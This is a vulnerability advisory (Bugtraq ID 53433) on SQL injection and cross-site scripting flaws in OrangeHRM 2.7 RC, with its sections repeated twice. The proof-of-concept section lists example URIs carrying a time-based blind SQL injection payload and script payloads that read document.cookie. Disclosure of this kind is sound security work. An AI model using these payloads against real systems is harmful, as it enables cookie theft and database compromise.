OrangeHRM Multiple Cross Site Scripting and SQL Injection Vulnerabilities
BID:53433
Info
OrangeHRM Multiple Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 53433 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-1506 CVE-2012-1507 |
| Remote: | Yes |
| Local: | No |
| Published: | May 09 2012 12:00AM |
| Updated: | May 09 2012 12:00AM |
| Credit: | High-Tech Bridge SA Security Research Lab |
| Vulnerable: |
OrangeHRM OrangeHRM 2.7 RC |
| Not Vulnerable: |
OrangeHRM OrangeHRM 2.7 Stable Release |
Discussion
OrangeHRM Multiple Cross Site Scripting and SQL Injection Vulnerabilities
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected.
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected.
Exploit / POC
OrangeHRM Multiple Cross Site Scripting and SQL Injection Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202
http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId=1&newHspStatus=1%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E&empId=1
http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
http://www.example.com/index.php?uri=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202
http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId=1&newHspStatus=1%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E&empId=1
http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
http://www.example.com/index.php?uri=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Solution / Fix
OrangeHRM Multiple Cross Site Scripting and SQL Injection Vulnerabilities
Solution:
Updates are available. Please see the references for details.
Solution:
Updates are available. Please see the references for details.